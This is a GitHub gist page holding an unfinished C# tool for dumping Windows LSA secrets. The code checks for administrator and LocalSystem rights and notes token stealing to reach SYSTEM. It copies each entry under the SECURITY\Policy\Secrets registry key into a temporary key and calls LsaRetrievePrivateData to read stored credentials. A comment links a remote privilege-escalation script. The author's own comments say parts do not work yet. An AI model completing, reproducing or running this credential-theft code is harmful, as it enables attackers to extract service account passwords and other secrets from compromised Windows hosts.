Skip to content

Instantly share code, notes, and snippets.

@nullbind
Last active March 1, 2018 12:31
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save nullbind/181feef5447e385eaadf55d70baea474 to your computer and use it in GitHub Desktop.
Save nullbind/181feef5447e385eaadf55d70baea474 to your computer and use it in GitHub Desktop.
lsasecretsdump-csharp-workinprogress
using System;
using System.Text;
using System.Security.Principal;
using System.Runtime.InteropServices;
using Microsoft.Win32;
namespace lsautil
{
// https://msdn.microsoft.com/en-us/library/microsoft.win32.registry(v=vs.110).aspx
public class lsadumptools
{
public static bool IsSystem()
{
// Get current user
String currentPrincipalName = WindowsIdentity.GetCurrent().Name;
// Gets a value indicating whether the user account is identified as a System account by the system.
bool IsSystem = WindowsIdentity.GetCurrent().IsSystem;
return IsSystem;
}
public static bool IsAdministrator()
{
// Get current user
WindowsIdentity identity = WindowsIdentity.GetCurrent();
WindowsPrincipal principal = new WindowsPrincipal(identity);
return principal.IsInRole(WindowsBuiltInRole.Administrator);
}
public static bool Is32Bit()
{
int MyPointer = IntPtr.Size;
bool result;
// Check if Script is run in a 32-bit Environment by checking a Pointer Size
if (MyPointer == 8)
{
result = false;
}else{
result = true;
}
return result;
}
// Read specific registry key value
public static string GetRegValue (String MyKey)
{
// Open reg key path
RegistryKey key = Registry.LocalMachine.OpenSubKey(MyKey);
// Read the reg key value
Object DisplayName = key.GetValue("DisplayName");
// Return the reg key value
return DisplayName.ToString();
}
public static string GetRegValueTest ()
{
String mykey = GetRegValue("SYSTEM\\CurrentControlSet\\Services\\acpiex");
return mykey;
}
// Create specific registry key
public static void CreateRegKey (String MyKey)
{
//Create subkey
Registry.LocalMachine.CreateSubKey("SYSTEM\\CurrentControlSet\\Services\\acpiex\\test");
}
// Update key value test example
// https://www.codeproject.com/Articles/4808/All-you-wanted-to-know-about-the-Registry-with-C-P
// https://msdn.microsoft.com/en-us/library/k23f0345(v=vs.110).aspx
public static void SetRegKeyValue (String MyHive,String MySubKey, String MyItem, String MyValue)
{
const string userRoot = "HKEY_Local_Machine";
const string subkey = "SYSTEM\\CurrentControlSet\\Services\\acpiex\\test";
const string keyName = userRoot + "\\" + subkey;
Registry.SetValue(keyName, "MyItem", "MyValue",RegistryValueKind.String);
}
// Get a list of all subkeys
public static string GetRegSubKeys (String MyKey)
{
// Open reg key path
RegistryKey key = Registry.LocalMachine.OpenSubKey(MyKey);
// PS get subkey count
int SubKeyCount = key.SubKeyCount;
String [] Subkeys = key.GetSubKeyNames();
StringBuilder MyString = new StringBuilder();
foreach (String s in Subkeys) {
MyString.AppendLine(s);
}
// Return the reg key value
return MyString.ToString();
}
public static string GetRegSubKeysTest ()
{
String mykey = GetRegSubKeys("SYSTEM\\CurrentControlSet\\Services");
return mykey;
}
[StructLayout(LayoutKind.Sequential)]
public struct LSA_UNICODE_STRING
{
public UInt16 Length;
public UInt16 MaximumLength;
public IntPtr Buffer;
}
[StructLayout(LayoutKind.Sequential)]
public struct LSA_OBJECT_ATTRIBUTES
{
public int Length;
public IntPtr RootDirectory;
public LSA_UNICODE_STRING ObjectName;
public uint Attributes;
public IntPtr SecurityDescriptor;
public IntPtr SecurityQualityOfService;
}
public enum LSA_AccessPolicy : long
{
POLICY_VIEW_LOCAL_INFORMATION = 0x00000001L,
POLICY_VIEW_AUDIT_INFORMATION = 0x00000002L,
POLICY_GET_PRIVATE_INFORMATION = 0x00000004L,
POLICY_TRUST_ADMIN = 0x00000008L,
POLICY_CREATE_ACCOUNT = 0x00000010L,
POLICY_CREATE_SECRET = 0x00000020L,
POLICY_CREATE_PRIVILEGE = 0x00000040L,
POLICY_SET_DEFAULT_QUOTA_LIMITS = 0x00000080L,
POLICY_SET_AUDIT_REQUIREMENTS = 0x00000100L,
POLICY_AUDIT_LOG_ADMIN = 0x00000200L,
POLICY_SERVER_ADMIN = 0x00000400L,
POLICY_LOOKUP_NAMES = 0x00000800L,
POLICY_NOTIFICATION = 0x00001000L
}
[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
public static extern uint LsaRetrievePrivateData(
IntPtr PolicyHandle,
ref LSA_UNICODE_STRING KeyName,
out IntPtr PrivateData
);
[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
public static extern uint LsaStorePrivateData(
IntPtr policyHandle,
ref LSA_UNICODE_STRING KeyName,
ref LSA_UNICODE_STRING PrivateData
);
[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
public static extern uint LsaOpenPolicy(
ref LSA_UNICODE_STRING SystemName,
ref LSA_OBJECT_ATTRIBUTES ObjectAttributes,
uint DesiredAccess,
out IntPtr PolicyHandle
);
[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
public static extern uint LsaNtStatusToWinError(
uint status
);
[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
public static extern uint LsaClose(
IntPtr policyHandle
);
[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
public static extern uint LsaFreeMemory(
IntPtr buffer
);
public static string DumpLSASecrets()
{
// Set default message
String message = "";
// Check for x86 process
int MyPointerSize = IntPtr.Size;
if (MyPointerSize != 8)
{
message = "This is an x86 process.";
}else{
message = "This is not an x86 process.";
return message;
}
// Check local administrator status
WindowsIdentity identity = WindowsIdentity.GetCurrent();
WindowsPrincipal principal = new WindowsPrincipal(identity);
bool adminStatus = principal.IsInRole(WindowsBuiltInRole.Administrator);
if(adminStatus){
message = "You are an admin.";
}else{
message = "You are NOT an admin.";
return message;
}
// Get system access via token stealing or other getsystem methods
// target static known process and steal system token
// Check LocalSystem status
bool systemStatus = WindowsIdentity.GetCurrent().IsSystem;
if(systemStatus){
message = "You are running as LocalSystem.";
}else{
message = "You are NOT running as LocalSystem.";
return message;
}
//get local admin https://gist.githubusercontent.com/whiggs/306d5b36349b463b720cb78796907777/raw/076e7e7956561cbbeb69c04552d4904ccb0d8a08/winup.ps1
// Create temp reg key
Registry.LocalMachine.CreateSubKey("SECURITY\\Policy\\Secrets\\MySecret");
// Get a list of all secrets
RegistryKey Secretskey = Registry.LocalMachine.OpenSubKey("SECURITY\\Policy\\Secrets");
String [] Subkeys = Secretskey.GetSubKeyNames();
StringBuilder MyString = new StringBuilder();
foreach (String secret in Subkeys) {
// Build list of secrets as a string
//MyString.AppendLine(secret);
// Set copyFromKey
String copyFromPath = "SECURITY\\Policy\\Secrets\\" + secret;
RegistryKey copyFromKey = Registry.LocalMachine.OpenSubKey(copyFromPath);
MyString.AppendLine(copyFromPath);
// Get secret value - not working - need default value from '(default)' key
Object secretValue = copyFromKey.GetValue("");
if(secretValue != null){
message = "registry copy success.";
}else{
message = "registry copy fail.";
// return message;
}
// Copy to key - fix this too poc works
// https://msdn.microsoft.com/en-us/library/microsoft.win32.registryvaluekind(v=vs.110).aspx
String copyToKeyPath = "HKEY_Local_Machine\\SECURITY\\Policy\\Secrets\\MySecret";
//Registry.SetValue(copyToKeyPath, "", "test2", RegistryValueKind.Unknown);
Registry.SetValue(copyToKeyPath, "", secretValue, RegistryValueKind.Unknown);
// Setup pointer
IntPtr MyPointer = IntPtr.Zero;
// Create LSA util object
LSA_OBJECT_ATTRIBUTES objectAttributes = new LSA_OBJECT_ATTRIBUTES();
objectAttributes.Length = 0;
objectAttributes.RootDirectory = MyPointer;
objectAttributes.Attributes = 0;
objectAttributes.SecurityDescriptor = MyPointer;
objectAttributes.SecurityQualityOfService = MyPointer;
// LocalSystem
LSA_UNICODE_STRING localsystem = new LSA_UNICODE_STRING ();
localsystem.Buffer = MyPointer;
localsystem.Length = 0;
localsystem.MaximumLength = 0;
// Secret Name
String myKey = "MySecret";
LSA_UNICODE_STRING secretName = new LSA_UNICODE_STRING();
secretName.Buffer = Marshal.StringToHGlobalUni(myKey);
secretName.Length = (ushort)(myKey.Length * UnicodeEncoding.CharSize);
secretName.MaximumLength = (ushort)((myKey.Length + 1) * UnicodeEncoding.CharSize);
// Get LSA PolicyHandle
IntPtr lsaPolicyHandle = IntPtr.Zero;
uint access = (uint)LSA_AccessPolicy.POLICY_GET_PRIVATE_INFORMATION;
uint lsaOpenPolicyHandle = LsaOpenPolicy(ref localsystem, ref objectAttributes, access, out lsaPolicyHandle);
// Retrieve Private Data
IntPtr privateData = IntPtr.Zero;
uint ntsResult = LsaRetrievePrivateData(lsaPolicyHandle, ref secretName, out privateData);
LsaClose(lsaPolicyHandle);
uint lsaNtStatusToWinError = LsaNtStatusToWinError(ntsResult);
if(lsaNtStatusToWinError != 0) {
message = lsaNtStatusToWinError.ToString();
//return message;
}
// note - getting null value and is bombing out
LSA_UNICODE_STRING lusSecretData = new LSA_UNICODE_STRING();
lusSecretData = (LSA_UNICODE_STRING)Marshal.PtrToStructure(privateData, typeof(LSA_UNICODE_STRING));
}
// Close reg key
Secretskey.Close();
// Get list of secret registry keys
message = MyString.ToString();
return message;
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment